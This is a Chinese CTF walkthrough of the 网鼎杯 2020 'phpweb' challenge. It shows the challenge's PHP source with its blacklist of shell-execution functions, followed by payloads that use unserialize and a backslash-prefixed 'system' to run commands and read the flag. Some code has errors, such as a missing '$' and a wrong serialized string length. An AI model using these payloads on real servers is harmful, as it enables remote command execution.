[网鼎杯 2020 朱雀组]phpweb 1
在这里,我们查看源码
发现页面回显一直在变
抓包,查看能否得到更多的信息
发现index.php用post方式提交了两个参数,func和p
我们尝试猜测这两个参数的关系,可以用最简单的 php函数 MD5 来进行检测
发先页面回显的内容就是MD5加密后的123
尝试 直接查看网站页面看能否成功
system被过滤掉了。
这里我们需要查看页面源代码,进行代码审计
在这里我们可以使用多种函数进行查看 例如:file_get_contents、highlight_file() ,show_source()等
file_get_contents(path):读取path路径下文件的内容
使用highlight_file(可以复制粘贴到 md 中 ps:这关的每五秒刷新一次还是挺讨厌的)
show_source同理
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
代码审计,本关的黑名单还是挺全面的。
但咱们可以使用 反序列化 (出题人的本意也应该是这样)
<?php
class Test{
var p="ls /";
var func="system";
}
<?php
$a=new Test();
echo serialize($a);
?>
构造payload:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
没有falg 返回上一页面
发现还是没有 falg的信息
system(“find / -name flag”):查找所有文件名匹配flag的文件
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
直接读取 flag
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}
得到 falg
这道题本质上是 我们要对黑名单进行一个绕过 所以在本关我们可以使用别的方法来达到获取flag的目的
php内的" \ "在做代码执行的时候,会识别特殊字符串,绕过黑名单
func=\system&p=find / -name flag*
func=\system&p=cat /tmp/flagoefiu4r93
获取 flag